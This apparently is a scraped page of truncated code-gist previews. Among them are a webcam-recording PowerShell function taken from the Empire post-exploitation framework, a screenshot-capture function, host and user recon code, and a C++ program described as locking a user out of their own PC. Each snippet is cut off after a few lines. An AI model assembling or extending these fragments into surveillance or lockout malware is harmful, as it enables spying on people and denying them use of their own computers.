This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
from scp import SCPClient | |
import argparse | |
def main(): | |
parser = argparse.ArgumentParser(description="Securely transfer files over SSH using SCP") | |
parser.add_argument("ip", help="Remote host IP address") | |
parser.add_argument("lfile", help="Local file path") | |
parser.add_argument("rfile", help="Remote file path") | |
parser.add_argument("ppkey", help="Path to private key file") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// made a little secure. | |
#include <tchar.h> | |
int get(char *szUrl, char *recv_data, DWORD recv_size) { | |
DWORD NumberOfBytesRead = 0; | |
RtlZeroMemory(recv_data, recv_size); | |
HINTERNET connect = InternetOpen(_T("browser"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); | |
if (connect) { | |
HINTERNET openAddr = InternetOpenUrl(connect, (LPWSTR)szUrl, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "Hello, World!" | |
pause |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Taken from : https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/collection/WebcamRecorder.py | |
function Start-WebcamRecorder | |
{ | |
<# | |
.SYNOPSIS | |
This function utilizes the DirectX and DShowNET assemblies to record video from the host's webcam. | |
Author: Chris Ross (@xorrior) | |
License: BSD 3-Clause | |
.DESCRIPTION | |
This function will capture video output from the hosts webcamera. Note that if compression is available, there isn't |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Reflection.Assembly]::LoadWithPartialName("System.Drawing") | |
function screenshot([Drawing.Rectangle]$bounds, $path) { | |
$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height | |
$graphics = [Drawing.Graphics]::FromImage($bmp) | |
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) | |
$bmp.Save($path) | |
$graphics.Dispose() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <unistd.h> | |
#include <limits.h> | |
#include <string.h> | |
int main() | |
{ | |
char hostname[HOST_NAME_MAX]; | |
char loginName[LOGIN_NAME_MAX]; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
HTTP Server from Winsock made from scratch. | |
Author : Lynx [ Fahad Mustafa ] | |
Date 18 November 2018 | |
*/ | |
// Nessecary Includes. | |
#include "pch.h" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
C++ Code to Lock user out of his own PC. | |
Block Mouse and Keyboard. | |
Task Manager cannot be opened. | |
Please do not add persistence. :) | |
*/ | |
#include "stdafx.h" | |
#include <Windows.h> | |
#include <ShlObj.h> |